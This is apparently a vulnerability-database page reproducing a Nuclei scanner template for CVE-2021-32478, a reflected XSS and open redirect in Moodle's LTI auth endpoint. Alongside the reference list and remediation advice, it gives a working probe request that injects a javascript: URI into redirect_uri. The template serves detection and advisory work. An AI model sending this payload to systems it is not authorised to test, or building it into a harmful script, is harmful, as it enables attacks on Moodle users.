Lucene search
+L

Moodle 3.8-3.10.3 - Reflected XSS & Open Redirect

🗓️ 22 Oct 2026 02:06:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 121 Views

Moodle versions 3.8 to 3.10.3 have reflected cross-site scripting and an open redirect in LTI redirect_uri handling.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-32478
11 Mar 202218:15
–attackerkb
bdu_fstec
BDU FSTEC
Moodle LTI XSS
1 Jun 202100:00
–bdu_fstec
circl
Circl
CVE-2021-32478
7 Nov 202521:02
–circl
cnnvd
CNNVD
Moodle input validation vulnerability
17 May 202100:00
–cnnvd
cve
CVE
CVE-2021-32478
11 Mar 202200:00
–cve
cvelist
Cvelist
CVE-2021-32478
11 Mar 202200:00
–cvelist
euvd
EUVD
EUVD-2022-1356
3 Oct 202520:07
–euvd
github
Github Security Blog
Moodle reflected XSS
12 Mar 202200:00
–github
mend
Mend
CVE-2021-32478
11 Mar 202200:00
–mend
nvd
NVD
CVE-2021-32478
11 Mar 202218:15
–nvd
Rows per page
id: CVE-2021-32478

info:
  name: Moodle 3.8-3.10.3 - Reflected XSS & Open Redirect
  author: hackergautam
  severity: medium
  description: |
    Moodle versions 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8 contain a reflected XSS and open redirect caused by insufficient sanitization of the redirect URI in the LTI authorization endpoint, letting attackers execute scripts or redirect users maliciously, exploit requires crafted URL with malicious redirect URI.
  impact: |
    Attackers can inject malicious JavaScript or redirect users to malicious sites via insufficient sanitization in the redirect_uri parameter.
  remediation: |
    Upgrade to Moodle version 3.8.9, 3.9.7, or 3.10.4 or later.
  reference:
    - https://twitter.com/JacksonHHax/status/1391367064154042377
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32478
    - https://moodle.org/mod/forum/discuss.php?d=422314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-32478
    cwe-id: CWE-79
    epss-score: 0.01128
    epss-percentile: 0.66037
    cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moodle
    product: moodle
  tags: cve,cve2021,moodle,xss,intrusive,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/mod/lti/auth.php?redirect_uri=javascript:alert('{{randstr}}')"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{randstr}}'
          - '<form action="javascript:alert'
        condition: and

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"
# digest: 4a0a0047304502202242265776caac05502e298ab64eb991011bf657e9169a73eaebd4f3c049d701022100b6d2996f8044537ebb5b7a793f5825a56df3b5a64d8d22d8331bc4a80d9b112d:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.1High risk
Vulners AI Score7.1
CVSS 24.3
CVSS 3.16.1
EPSS0.01128
121